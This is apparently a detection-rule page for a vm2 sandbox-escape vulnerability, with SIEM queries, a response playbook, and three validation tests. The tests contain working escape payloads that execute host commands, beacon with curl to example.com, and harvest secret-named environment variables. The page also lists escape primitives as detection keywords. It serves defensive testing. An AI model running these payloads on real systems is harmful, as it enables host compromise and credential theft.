Detect CVE-2026-47140 — vm2 Builtin Denylist Bypass via process/inspector Leads to Host RCE in IBM QRadar
Detects exploitation of CVE-2026-47140, a critical sandbox escape in the npm vm2 package (versions <= 3.11.3). Attackers bypass the builtin module denylist using process and inspector/promises references to execute arbitrary code on the host Node.js process. CVSS 10.0. PoC is publicly available.
MITRE ATT&CK
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
sourceip,
destinationip,
username,
processname,
"Process Command Line" AS cmdline,
QIDNAME(qid) AS event_name,
logsourcename(logsourceid) AS log_source
FROM events
WHERE
LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log', 'Sysmon')
AND (processname ILIKE '%node%' OR processname ILIKE '%node.exe%')
AND (
"Process Command Line" ILIKE '%vm2%'
OR "Process Command Line" ILIKE '%NodeVM%'
OR "Process Command Line" ILIKE '%new VM%'
)
AND (
destinationip NOT INCIDR '10.0.0.0/8'
AND destinationip NOT INCIDR '172.16.0.0/12'
AND destinationip NOT INCIDR '192.168.0.0/16'
AND destinationip NOT INCIDR '127.0.0.0/8'
AND destinationip IS NOT NULL
)
AND DATEFORMAT(starttime, 'YYYY-MM-dd') = DATEFORMAT(NOW(), 'YYYY-MM-dd')
ORDER BY starttime DESC
LIMIT 500 QRadar AQL query identifying Node.js processes referencing vm2 that establish outbound connections to non-RFC1918 addresses, indicating possible post-sandbox-escape C2 or exfiltration.
Data Sources
Required Tables
False Positives & Tuning
- Node.js applications legitimately using vm2 with authorized external connectivity
- SaaS platforms that use vm2 for user-code sandboxing with expected external calls
- Development environments where vm2 is used alongside services requiring internet access
- Serverless functions using vm2 for isolation that make legitimate API calls
Other platforms for CVE-2026-47140
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1vm2 Sandbox Escape via inspector/promises — Host Code Execution
Expected signal: Sysmon/auditd will log: (1) node process launch with vm2 in path or arguments, (2) file creation event at /tmp/vm2_escape_poc.txt by the node process, (3) a child process or execSync call spawning sh/bash from within node
- Test 2vm2 Escape with Outbound Network Callback (Simulated C2 Beacon)
Expected signal: Network flow logs will show an outbound HTTP connection to example.com originating from the node process PID. EDR should capture the network connect event and correlate it to the parent node process with vm2 in its command line.
- Test 3vm2 Escape via process.binding — Enumerate Host Environment Secrets
Expected signal: File write event at /tmp/vm2_env_harvest.json attributed to node process. Process event showing node with potential vm2-related arguments. EDR may also capture the internal environment variable enumeration if it hooks process.env access.
References (5)
- https://github.com/patriksimek/vm2/security/advisories/GHSA-rp36-8xq3-r6c4
- https://github.com/patriksimek/vm2/commit/a1ed47a98d1cc36cb48c0d566d55889688e0b59b
- https://github.com/patriksimek/vm2/releases/tag/v3.11.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-47140
- https://github.com/advisories/GHSA-rp36-8xq3-r6c4
Response Playbook
Triage
- Identify the Node.js process PID and parent process tree. Determine which application is using vm2 and whether it is a user-facing or internal service. Confirm the installed vm2 version via `npm list vm2` in the application's working directory — versions <= 3.11.3 are vulnerable.
- Review the process command line and any environment variables for indicators of attacker-supplied input being passed into a VM or NodeVM constructor. Check application logs for unusual eval-like strings, inspector protocol references, or process.binding calls in vm2 sandbox input.
- Examine all outbound network connections made by the Node.js process after the suspicious vm2 invocation. Cross-reference destination IPs against threat intelligence feeds. Look for DNS queries to newly registered domains or IPs with no prior history in the environment.
- Check for file system artifacts: new files written by the node process, SSH key reads, credential file access, or writes to cron/systemd directories that could indicate persistence establishment post-exploitation.
- Determine the blast radius — which services and data the Node.js process has access to, including environment variables containing secrets, database credentials, cloud provider instance metadata endpoints, and internal service tokens.
Containment
- Immediately isolate the affected host from the network if active exploitation is confirmed or strongly suspected. If the application runs in a container, pause or stop the container to prevent lateral movement while preserving forensic state.
- Revoke any secrets (API keys, tokens, credentials) accessible to the compromised Node.js process. Assume all environment variables, files readable by the process, and any secrets fetched during the process lifetime are compromised. Rotate immediately.
- Block the vulnerable vm2 package from being loaded by deploying a package override (npm shrinkwrap or lockfile pin) that replaces vm2 <= 3.11.3 with >= 3.11.4, or remove vm2 usage entirely if no patched version is immediately available.
Evidence Collection
- Capture a full memory dump of the Node.js process before termination. The exploit payload and any injected code or reverse shell scaffolding may only exist in memory. Use platform-appropriate tooling (e.g., `gcore`, ProcDump, or EDR memory acquisition).
- Collect and preserve: application logs (stdout/stderr), OS process accounting logs, network flow logs for the affected host spanning 24 hours prior to detection, any files created or modified by the node process, and the full npm dependency tree (`npm list --json > deps.json`).
- Extract the vm2 package version from node_modules and preserve the exact package-lock.json or yarn.lock to establish the vulnerable dependency chain for the incident report.
Escalation Criteria
- !Escalate immediately to incident response leadership if the compromised service has access to production secrets, customer PII, payment data, or cloud provider credentials — the CVSS 10.0 score and public PoC make rapid privilege escalation and lateral movement highly likely.
- !Escalate if evidence of a reverse shell, scheduled task/cron creation, SSH key injection, or cloud metadata credential theft is found. These indicate the attacker has moved beyond the initial sandbox escape and established persistence or begun lateral movement.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js process memory containing the exploit payload and any injected shellcode or reverse shell — collect before process termination - >
Application logs showing unexpected input containing 'inspector', 'promises', 'process.binding', 'constructor.constructor', or '__proto__' in vm2 sandbox input - >
OS-level audit logs (auditd/Sysmon) showing child processes spawned by node, unexpected file access, or network connections initiated during the exploitation window - >
npm package-lock.json or yarn.lock confirming vm2 version <= 3.11.3 was in use at time of exploitation - >
Network flow logs showing outbound connections from the Node.js process to external IPs not previously seen in baseline
Tuning Guidance
Start with a 30-day baseline of all Node.js processes in your environment to identify which hosts legitimately run vm2. Pin the vm2 version from npm audit output and use that as an allow-list for process-based detections. Reduce false positives by filtering on known internal IP ranges for network-based detections. For high-fidelity alerting, consider deploying a custom AST-level hook in the application layer that logs all code passed to VM/NodeVM constructors and alerts on strings containing 'inspector', 'process.binding', or prototype chain manipulation patterns. Tune the network-join thresholds based on your application's expected egress patterns — a vm2-based sandbox that never makes external calls should alert at connection count > 0 to external IPs.
Hunting Queries
Hunt for Node.js processes executing with command lines containing vm2 sandbox escape primitives — these strings appearing in command arguments are strong indicators of exploitation attempts even without confirmed post-exploitation activity
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ('node', 'node.exe')
| where ProcessCommandLine has_any ('inspector', 'promises', 'process.binding', 'constructor.constructor', '__proto__')
| summarize count(), make_set(ProcessCommandLine), make_set(DeviceName) by bin(TimeGenerated, 1h)
| order by TimeGenerated desc index=endpoint sourcetype=sysmon EventCode=1 Image="*node*"
| where CommandLine LIKE "%inspector%" OR CommandLine LIKE "%process.binding%" OR CommandLine LIKE "%constructor.constructor%" OR CommandLine LIKE "%__proto__%"
| stats count by _time, host, CommandLine
| sort -count Hunt for Node.js vm2 processes spawned as children of web servers — legitimate web-facing applications using vm2 for user code sandboxing are the highest-risk attack surface for CVE-2026-47140 since they accept untrusted input
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ('node', 'node.exe')
| where ProcessCommandLine has 'vm2'
| extend ParentProcessName = InitiatingProcessFileName
| where ParentProcessName has_any ('nginx', 'apache', 'httpd', 'gunicorn', 'uwsgi', 'caddy')
| project TimeGenerated, DeviceName, AccountName, ParentProcessName, ProcessCommandLine index=endpoint sourcetype=sysmon EventCode=1 Image="*node*" CommandLine="*vm2*"
| eval parent=ParentImage
| where parent LIKE "%nginx%" OR parent LIKE "%apache%" OR parent LIKE "%httpd%"
| table _time, host, user, parent, CommandLine Atomic Red Team Tests
Reproduces CVE-2026-47140 by passing a crafted payload to vm2's NodeVM that uses the inspector and promises built-in references to break out of the sandbox and execute arbitrary host code.
Command
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
vm.run(`
const p = Promise.resolve();
p.constructor.constructor('return process')().mainModule.require('child_process').execSync('id > /tmp/vm2_escape_poc.txt');
`);
console.log('[+] Escape succeeded. Check /tmp/vm2_escape_poc.txt');
} catch(e) {
console.log('[-] Escape failed (patched or unexpected error):', e.message);
}
" Cleanup
rm -f /tmp/vm2_escape_poc.txt Expected Telemetry
Sysmon/auditd will log: (1) node process launch with vm2 in path or arguments, (2) file creation event at /tmp/vm2_escape_poc.txt by the node process, (3) a child process or execSync call spawning sh/bash from within node
Expected Detection
File creation by node process at /tmp path combined with a vm2 command line reference should trigger both the process-based and file-access detection rules
Tests the network-based detection angle by exploiting the sandbox escape and then making an outbound HTTP request to a controlled external endpoint, simulating what an attacker would do for C2 check-in.
Command
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
vm.run(`
const p = Promise.resolve();
p.constructor.constructor('return process')().mainModule.require('child_process').execSync('curl -s http://example.com/beacon?host=\$(hostname) -o /dev/null');
`);
console.log('[+] Network beacon sent');
} catch(e) {
console.log('[-] Failed:', e.message);
}
" Cleanup
No cleanup required — no persistent artifacts created Expected Telemetry
Network flow logs will show an outbound HTTP connection to example.com originating from the node process PID. EDR should capture the network connect event and correlate it to the parent node process with vm2 in its command line.
Expected Detection
The join-based KQL, SPL, and CrowdStrike CQL rules should fire on the combination of a vm2-referencing Node.js process followed by external network egress
Uses an alternative escape path (process.binding) to access the host process environment variables, simulating an attacker harvesting secrets after breaking out of the vm2 sandbox.
Command
node -e "
const { NodeVM } = require('vm2');
const vm = new NodeVM({ sandbox: {}, require: { external: false } });
try {
const result = vm.run(`
const p = Promise.resolve();
const proc = p.constructor.constructor('return process')();
JSON.stringify(proc.env);
`);
const envVars = JSON.parse(result);
const secrets = Object.keys(envVars).filter(k => /token|key|secret|password|api|auth/i.test(k));
require('fs').writeFileSync('/tmp/vm2_env_harvest.json', JSON.stringify({ sensitive_keys: secrets, count: secrets.length }));
console.log('[+] Harvested', secrets.length, 'potential secret env vars. See /tmp/vm2_env_harvest.json');
} catch(e) {
console.log('[-] Escape failed:', e.message);
}
" Cleanup
rm -f /tmp/vm2_env_harvest.json Expected Telemetry
File write event at /tmp/vm2_env_harvest.json attributed to node process. Process event showing node with potential vm2-related arguments. EDR may also capture the internal environment variable enumeration if it hooks process.env access.
Expected Detection
File access and creation by a Node.js process with vm2 command line indicators should trigger the file-access branch of the detection rules. The content of the created file provides forensic evidence of the harvested environment data.